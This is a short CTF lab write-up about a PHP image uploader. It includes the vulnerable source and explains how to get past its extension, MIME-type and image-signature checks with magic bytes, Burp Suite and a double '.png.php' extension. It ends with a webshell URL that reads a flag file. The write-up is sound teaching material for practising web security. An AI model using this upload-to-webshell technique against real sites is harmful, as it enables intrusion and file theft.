Simple Web 0x06(Lab - Image Space 0x03)

tags: NTUSTWS CTF Web

Challenge: http://h4ck3r.quest:9012

Background

file signature

Source code

:::spoiler

 <?php
    if (isset($_GET['source'])) {
        highlight_file(__FILE__);
        exit;
    }
?>
<h1>Image Uploader</h1>
<p>Only supports: jpg, jpeg, png</p>
<form action="index.php" method="POST" enctype="multipart/form-data">
    <input type="file" name="image_file">
    <input type="submit" value="Upload">
</form>
<p>
    <a href="/?source">View Source</a>
</p>
<?php
    if (!isset($_FILES['image_file'])) {
        die('Give me a file!');
    }

    $filename = basename($_FILES['image_file']['name']);
    $extension = strtolower(explode(".", $filename)[1]);

    if (!in_array($extension, ['png', 'jpeg', 'jpg']) !== false) {
        die("Invalid file extension: $extension.");
    }

    if (in_array($_FILES['image_file']['type'], ["image/png", "image/jpeg", "image/jpg"]) === false) {
        die("Invalid file type: " . $_SERVER["CONTENT_TYPE"]);
    }

    list($_, $_, $type) = getimagesize($_FILES['image_file']['tmp_name']);

    if ($type !== IMAGETYPE_JPEG && $type !== IMAGETYPE_PNG) {
        die("Invalid image type.");
    }

    $prefix = bin2hex(random_bytes(8));
    move_uploaded_file($_FILES['image_file']['tmp_name'], "images/${prefix}_${filename}");
    echo "<img src=\"/images/${prefix}_${filename}\">";
?>

::: It has 2 extra constraint must be bypassed. Use burpsuite and change valid file signature

Exploit - bypass IMAGETYPE + bypass $_FILES['image_file']['type']

1. HxD - bypass IMAGETYPE Add valid file signature at the beginning from wiki page png: 89 50 4E 47 0D 0A 1A 0A jpg: FF D8 FF DB
2. burpsuite - bypass file type
3. Then we got shell!!! payload: http://h4ck3r.quest:9012/images/353d74c11becb9b1_webshell_valid_filetype.png.php?sh=cat%20../../../../flag